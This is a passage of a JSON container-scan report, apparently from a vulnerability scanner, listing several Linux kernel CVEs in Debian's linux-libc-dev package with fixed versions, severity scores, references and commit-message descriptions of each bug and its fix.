"https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68201" ], "PublishedDate": "2026-08-10T13:20:07.647Z", "LastModifiedDate": "2026-10-19T21:17:57.94Z" }, { "VulnerabilityID": "CVE-2026-68202", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68202", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0673fff3fbd75fa5b536d181c907651a910ee826828fa8b450f069f39b7ec112", "Title": "kernel: ALSA: seq: close a re-opened queue timer in the destructor", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: seq: close a re-opened queue timer in the destructor\n\nqueue_delete() closes the queue timer, then frees it. snd_seq_timer_close()\nclears q-\u003etimer-\u003etimeri. snd_use_lock_sync() then drains borrowers, and\nsnd_seq_timer_delete() frees q-\u003etimer.\n\nA borrower can re-open the timer inside that window. A SET_QUEUE_CLIENT\nthat took a queueptr() use_lock reference before the queue was unlinked\nruns snd_seq_timer_open() after the close. Open refuses re-open only while\ntimeri is set, and the close just cleared it, so it re-opens timeri.\n\nsnd_seq_timer_delete() does not close that instance. Its snd_seq_timer_stop()\nis a no-op, because running was cleared first. So it frees q-\u003etimer with the\ninstance still live. The queue is freed next.\n\nThe instance stays on the global timer with callback_data pointing at the\nfreed queue. A non-owner START on the unlocked queue arms it. The next tick\nderefs the freed queue in snd_seq_timer_interrupt().\n\nReachable by an unprivileged user with access to /dev/snd/seq. No CAP and\nno queue ownership required.\n\nClose any lingering instance in the destructor. There, -\u003etimeri can no\nlonger change: the queue is unlinked and all use_lock borrowers have\ndrained, so no snd_seq_queue_use() can re-open it. Close it before clearing\nq-\u003etimer. snd_timer_close() waits for any in-flight snd_seq_timer_interrupt()\nto finish, and that callback still reads q-\u003etimer (via snd_seq_check_queue()),\nso q-\u003etimer must stay valid until it drains.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:87805", "https://access.redhat.com/security/cve/CVE-2026-68202", "https://bugzilla.redhat.com/2360273", "https://bugzilla.redhat.com/2376106", "https://bugzilla.redhat.com/2507038", "https://bugzilla.redhat.com/2513245", "https://bugzilla.redhat.com/2513356", "https://bugzilla.redhat.com/2514462", "https://bugzilla.redhat.com/2524492", "https://bugzilla.redhat.com/2524501", "https://bugzilla.redhat.com/show_bug.cgi?id=2360273", "https://bugzilla.redhat.com/show_bug.cgi?id=2376106", "https://bugzilla.redhat.com/show_bug.cgi?id=2507038", "https://bugzilla.redhat.com/show_bug.cgi?id=2513245", "https://bugzilla.redhat.com/show_bug.cgi?id=2513356", "https://bugzilla.redhat.com/show_bug.cgi?id=2514462", "https://bugzilla.redhat.com/show_bug.cgi?id=2524492", "https://bugzilla.redhat.com/show_bug.cgi?id=2524501", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22063", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68202", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68299", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68448", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80536", "https://errata.almalinux.org/9/ALSA-2026-87805.html", "https://errata.rockylinux.org/RLSA-2026:87805", "https://git.kernel.org/stable/c/24f0cabf173539f048946c8fc221131dc221f277", "https://git.kernel.org/stable/c/2c4dc0ed50b05cd847a4b34b8cebf0775f19aeb9", "https://git.kernel.org/stable/c/31a6163e301d832060f8236f1ed17cbc1ca198df", "https://git.kernel.org/stable/c/6a10025c7fd09a7d2af37a3ae1da188569fce470", "https://git.kernel.org/stable/c/7478ef94b49bc9789cf1a003deec58b42283dde4", "https://git.kernel.org/stable/c/9d9be6fc30f384f92c4e1b8ed40bd9d4796b7833", "https://git.kernel.org/stable/c/b7feeaca1f53b10df9b4de9eaf611767ca70dc92", "https://git.kernel.org/stable/c/fb40d03ed792a8a8bf77aa0ee15df57b0ff78b07", "https://linux.oracle.com/cve/CVE-2026-68202.html", "https://linux.oracle.com/errata/ELSA-2026-88477.html", "https://lore.kernel.org/linux-cve-announce/2026081011-CVE-2026-68202-e7fa@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68202", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68202" ], "PublishedDate": "2026-08-10T13:20:07.763Z", "LastModifiedDate": "2026-10-19T21:17:58.087Z" }, { "VulnerabilityID": "CVE-2026-68236", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68236", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:56b188ed736ee29e8f371ebcdd8e7c9c0d3224ff2970ae9e6f1ffc882c9986a9", "Title": "kernel: drm/amd/display: set new_stream to NULL after release", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: set new_stream to NULL after release\n\nIn dm_update_crtc_state(), the skip_modeset path releases new_stream\nvia dc_stream_release() but does not set the pointer to NULL.\n\nIf a later error (e.g., color management failure) triggers the fail\nlabel, the error path calls dc_stream_release() again on the same\ndangling pointer, causing a double release and potential use-after-free.\n\nFix this by setting new_stream to NULL after the initial release.\n\n(cherry picked from commit 99f3af19073b3ddbfd96e789124cce12c4277b28)", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 3, "azure": 4, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81552", "https://access.redhat.com/security/cve/CVE-2026-68236", "https://bugzilla.redhat.com/2486468", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513148", "https://bugzilla.redhat.com/2513287", "https://bugzilla.redhat.com/2513430", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2528788", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/2535309", "https://bugzilla.redhat.com/2535338", "https://bugzilla.redhat.com/show_bug.cgi?id=2486468", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513148", "https://bugzilla.redhat.com/show_bug.cgi?id=2513287", "https://bugzilla.redhat.com/show_bug.cgi?id=2513430", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2528788", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2535309", "https://bugzilla.redhat.com/show_bug.cgi?id=2535338", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46309", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68245", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68278", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/9/ALSA-2026-81552.html", "https://errata.rockylinux.org/RLSA-2026:81552", "https://git.kernel.org/stable/c/01ba5b36898d6258f584269537cc49e7b05cf7c6", "https://git.kernel.org/stable/c/0676fecbb5242aa22c057e78326d6d6041db034c", "https://git.kernel.org/stable/c/5182e442e61397d446c36995b8f5676942d35b82", "https://git.kernel.org/stable/c/679f23f0a3606afcef1ffabd72222f00a54ad9e3", "https://git.kernel.org/stable/c/92b7c6e3a1546c6db868b07e93fa6fb950d1d3a0", "https://git.kernel.org/stable/c/9fa26b9eed6195bf840f39ac183b9a6237548755", "https://git.kernel.org/stable/c/ba8bf1dcbb44773e7a0fd13b42925c644e0d5e76", "https://git.kernel.org/stable/c/bf9c06c70f496f1ba4474caf95c69696c828340e", "https://linux.oracle.com/cve/CVE-2026-68236.html", "https://linux.oracle.com/errata/ELSA-2026-88477.html", "https://lore.kernel.org/linux-cve-announce/2026081017-CVE-2026-68236-54da@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68236", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68236" ], "PublishedDate": "2026-08-10T13:20:11.943Z", "LastModifiedDate": "2026-10-19T21:17:58.79Z" }, { "VulnerabilityID": "CVE-2026-68264", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68264", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f8c758627543c76ba2404406508a5becd63c6321725db9f8a10273ae7f6f9a84", "Title": "kernel: drm/xe/pt: Reset current_op in xe_pt_update_ops_init()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe/pt: Reset current_op in xe_pt_update_ops_init()\n\nxe_pt_update_ops_init() fails to reset current_op to 0. On the\nvm_bind path, ops_execute() calls xe_pt_update_ops_prepare() inside\nthe xe_validation_guard() / drm_exec_until_all_locked() loop. When\nthat loop retries due to lock contention or OOM eviction\n(drm_exec_retry_on_contention() / xe_validation_retry_on_oom()),\nxe_pt_update_ops_prepare() runs again on the same vops, and each\ncall to bind_op_prepare() increments current_op without resetting it.\n\nAfter N retries current_op exceeds the array size allocated by\nxe_vma_ops_alloc(), causing an out-of-bounds write into\nSLUB-poisoned memory and a subsequent UAF crash in\nxe_migrate_update_pgtables_cpu() when reading the corrupted pt_op-\u003ebind.\n\nAlso reset needs_svm_lock and needs_invalidation which are derived in\nthe same prepare pass and would otherwise cause wrong migrate ops\nselection and redundant TLB invalidation on retry.\n\nFix this by resetting current_op, needs_svm_lock and needs_invalidation\nin xe_pt_update_ops_init().\n\nv2 (Matt):\n - Add details in commit message.\n - Add Fixes tag and Cc to stable@vger.kernel.org\n\n(cherry picked from commit 046045543e530605c441063535e7dca0075369a6)", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:67150", "https://access.redhat.com/security/cve/CVE-2026-68264", "https://bugzilla.redhat.com/2425039", "https://bugzilla.redhat.com/2454867", "https://bugzilla.redhat.com/2460699", "https://bugzilla.redhat.com/2461451", "https://bugzilla.redhat.com/2461525", "https://bugzilla.redhat.com/2464093", "https://bugzilla.redhat.com/2468050", "https://bugzilla.redhat.com/2468192", "https://bugzilla.redhat.com/2468244", "https://bugzilla.redhat.com/2492092", "https://bugzilla.redhat.com/2492115", "https://bugzilla.redhat.com/2492270", "https://bugzilla.redhat.com/2492310", "https://bugzilla.redhat.com/2492408", "https://bugzilla.redhat.com/2492432", "https://bugzilla.redhat.com/2492717", "https://bugzilla.redhat.com/2492722", "https://bugzilla.redhat.com/2492762", "https://bugzilla.redhat.com/2492771", "https://bugzilla.redhat.com/2492795", "https://bugzilla.redhat.com/2502254", "https://bugzilla.redhat.com/2502320", "https://bugzilla.redhat.com/2502331", "https://bugzilla.redhat.com/2502346", "https://bugzilla.redhat.com/2502388", "https://bugzilla.redhat.com/2502413", "https://bugzilla.redhat.com/2502446", "https://bugzilla.redhat.com/2502473", "https://bugzilla.redhat.com/2502477", "https://bugzilla.redhat.com/2502518", "https://bugzilla.redhat.com/2502541", "https://bugzilla.redhat.com/2506782", "https://bugzilla.redhat.com/2507292", "https://bugzilla.redhat.com/2513141", "https://bugzilla.redhat.com/2513177", "https://bugzilla.redhat.com/2513253", "https://bugzilla.redhat.com/2513324", "https://bugzilla.redhat.com/2513397", "https://bugzilla.redhat.com/2513408", "https://bugzilla.redhat.com/2513452", "https://bugzilla.redhat.com/2513474", "https://bugzilla.redhat.com/2516501", "https://bugzilla.redhat.com/show_bug.cgi?id=2425039", "https://bugzilla.redhat.com/show_bug.cgi?id=2454867", "https://bugzilla.redhat.com/show_bug.cgi?id=2460699", "https://bugzilla.redhat.com/show_bug.cgi?id=2461451", "https://bugzilla.redhat.com/show_bug.cgi?id=2461525", "https://bugzilla.redhat.com/show_bug.cgi?id=2464093", "https://bugzilla.redhat.com/show_bug.cgi?id=2468050", "https://bugzilla.redhat.com/show_bug.cgi?id=2468192", "https://bugzilla.redhat.com/show_bug.cgi?id=2468244", "https://bugzilla.redhat.com/show_bug.cgi?id=2492092", "https://bugzilla.redhat.com/show_bug.cgi?id=2492115", "https://bugzilla.redhat.com/show_bug.cgi?id=2492270", "https://bugzilla.redhat.com/show_bug.cgi?id=2492310", "https://bugzilla.redhat.com/show_bug.cgi?id=2492408", "https://bugzilla.redhat.com/show_bug.cgi?id=2492432", "https://bugzilla.redhat.com/show_bug.cgi?id=2492717", "https://bugzilla.redhat.com/show_bug.cgi?id=2492722", "https://bugzilla.redhat.com/show_bug.cgi?id=2492762", "https://bugzilla.redhat.com/show_bug.cgi?id=2492771", "https://bugzilla.redhat.com/show_bug.cgi?id=2492795", "https://bugzilla.redhat.com/show_bug.cgi?id=2502254", "https://bugzilla.redhat.com/show_bug.cgi?id=2502320", "https://bugzilla.redhat.com/show_bug.cgi?id=2502331", "https://bugzilla.redhat.com/show_bug.cgi?id=2502346", "https://bugzilla.redhat.com/show_bug.cgi?id=2502388", "https://bugzilla.redhat.com/show_bug.cgi?id=2502413", "https://bugzilla.redhat.com/show_bug.cgi?id=2502446", "https://bugzilla.redhat.com/show_bug.cgi?id=2502473", "https://bugzilla.redhat.com/show_bug.cgi?id=2502477", "https://bugzilla.redhat.com/show_bug.cgi?id=2502518", "https://bugzilla.redhat.com/show_bug.cgi?id=2502541", "https://bugzilla.redhat.com/show_bug.cgi?id=2506782", "https://bugzilla.redhat.com/show_bug.cgi?id=2507292", "https://bugzilla.redhat.com/show_bug.cgi?id=2513141", "https://bugzilla.redhat.com/show_bug.cgi?id=2513177", "https://bugzilla.redhat.com/show_bug.cgi?id=2513253", "https://bugzilla.redhat.com/show_bug.cgi?id=2513324", "https://bugzilla.redhat.com/show_bug.cgi?id=2513397", "https://bugzilla.redhat.com/show_bug.cgi?id=2513408", "https://bugzilla.redhat.com/show_bug.cgi?id=2513452", "https://bugzilla.redhat.com/show_bug.cgi?id=2513474", "https://bugzilla.redhat.com/show_bug.cgi?id=2516501", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31566", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31656", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31692", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43334", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52918", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53091", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53246", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53254", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63889", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63944", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63945", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63946", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63975", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64113", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68086", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68264", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68376", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72098", "https://errata.almalinux.org/9/ALSA-2026-67150.html", "https://errata.rockylinux.org/RLSA-2026:67150", "https://git.kernel.org/stable/c/157b1e3384d7d37f59c0c2b2ff2af8f557db1daa", "https://git.kernel.org/stable/c/6384271ac1ac0099198d15df79212a19ebdb929d", "https://git.kernel.org/stable/c/90e4fd331b980259c40118d05b89b0ec514e7c48", "https://git.kernel.org/stable/c/be5c39730ab8f1dfe59983bf7d8e3705541d1fee", "https://linux.oracle.com/cve/CVE-2026-68264.html", "https://linux.oracle.com/errata/ELSA-2026-67471-0.html", "https://lore.kernel.org/linux-cve-announce/2026081023-CVE-2026-68264-6281@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68264", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68264" ], "PublishedDate": "2026-08-10T13:20:15.257Z", "LastModifiedDate": "2026-10-19T21:17:59.927Z" }, { "VulnerabilityID": "CVE-2026-68290", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68290", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:43418f5c4ac1f377988513437173664cb65737873099f9f21f4ef2fe23b72839", "Title": "kernel: Kernel: Use-after-free vulnerability in RDS TCP can lead to system instability", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrds: tcp: unregister sysctl before tearing down listen socket\n\nrds_tcp_exit_net() frees the per-netns RDS TCP listen socket via\nrds_tcp_kill_sock() before unregistering the per-netns sysctl table. Since\nrds_tcp_skbuf_handler() derives the netns from\nrtn-\u003erds_tcp_listen_sock-\u003esk, a concurrent sysctl write can race with\nnetns teardown and dereference the freed socket/sk.\n\nKASAN reports the race as:\n\n BUG: KASAN: slab-use-after-free in rds_tcp_skbuf_handler+0x2aa/0x2e0\n rds_tcp_skbuf_handler net/rds/tcp.c:721\n proc_sys_call_handler fs/proc/proc_sysctl.c\n vfs_write fs/read_write.c\n __x64_sys_pwrite64 fs/read_write.c\n\nFix this by unregistering the RDS TCP sysctl table before calling\nrds_tcp_kill_sock(). unregister_net_sysctl_table() prevents new sysctl\nhandlers from starting and waits for in-flight handlers to finish, so\nthe listen socket can then be released safely. The fix was tested\nagainst the linked reproducer.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-68290", "https://git.kernel.org/stable/c/167e54c703ccd4fa028feb568b0d1002020cff86", "https://git.kernel.org/stable/c/16df2d154ec82e2f7e7585b4fa154751ba37729a", "https://git.kernel.org/stable/c/3aa13fe0c1bb7bc5312f878e61523e5d8cf3f85d", "https://git.kernel.org/stable/c/66fd678eef1bc2862bde5e7a0f6106256de74f30", "https://git.kernel.org/stable/c/80fffed08dc1c10e971066941d2daa56253f1552", "https://nvd.nist.gov/vuln/detail/CVE-2026-68290", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68290" ], "PublishedDate": "2026-08-10T13:20:18.34Z", "LastModifiedDate": "2026-10-30T13:19:42.96Z" }, { "VulnerabilityID": "CVE-2026-68294", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68294", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c088d54f1193abc1bb3955f8c1f65df28ac54a06ecf0909f3d1f504aaa95c3ae", "Title": "kernel: net: qrtr: restrict socket creation to the initial network namespace", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: qrtr: restrict socket creation to the initial network namespace\n\nQRTR keeps its entire port and node state in module-global variables\nthat are not partitioned per network namespace: qrtr_local_nid is a\nsingle global node id (always 1) and qrtr_ports is a single global\nxarray. qrtr_port_lookup() and qrtr_local_enqueue() operate on that\nglobal state with no network-namespace check, and qrtr_create() places\nno restriction on the namespace a socket is created in.\n\nAs a result an unprivileged process that creates an AF_QIPCRTR socket\nin a separate network namespace, e.g. via\nunshare(CLONE_NEWUSER | CLONE_NEWNET), can send QRTR datagrams -\nincluding control-plane messages such as QRTR_TYPE_NEW_SERVER - to QRTR\nsockets owned by another namespace, and vice versa. The receiving\nsocket sees such a message as coming from node id 1, indistinguishable\nfrom a legitimate local client, breaking the isolation that network\nnamespaces are expected to provide.\n\nQRTR is a transport to global hardware endpoints (the modem and other\nremote processors) and has no per-namespace semantics; its in-kernel\nname service already creates its socket in init_net only. Confine the\nsocket family to the initial network namespace, as other\nnon-namespace-aware socket families do (see llc_ui_create() and the\nieee802154 socket code).", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:67470", "https://access.redhat.com/security/cve/CVE-2026-68294", "https://bugzilla.redhat.com/2467084", "https://bugzilla.redhat.com/2502380", "https://bugzilla.redhat.com/2502418", "https://bugzilla.redhat.com/2513218", "https://bugzilla.redhat.com/2513353", "https://bugzilla.redhat.com/2516639", "https://bugzilla.redhat.com/2517010", "https://bugzilla.redhat.com/show_bug.cgi?id=2467084", "https://bugzilla.redhat.com/show_bug.cgi?id=2502380", "https://bugzilla.redhat.com/show_bug.cgi?id=2502418", "https://bugzilla.redhat.com/show_bug.cgi?id=2513218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516639", "https://bugzilla.redhat.com/show_bug.cgi?id=2517010", "https://creativecommons.org/licenses/by/4.0/", 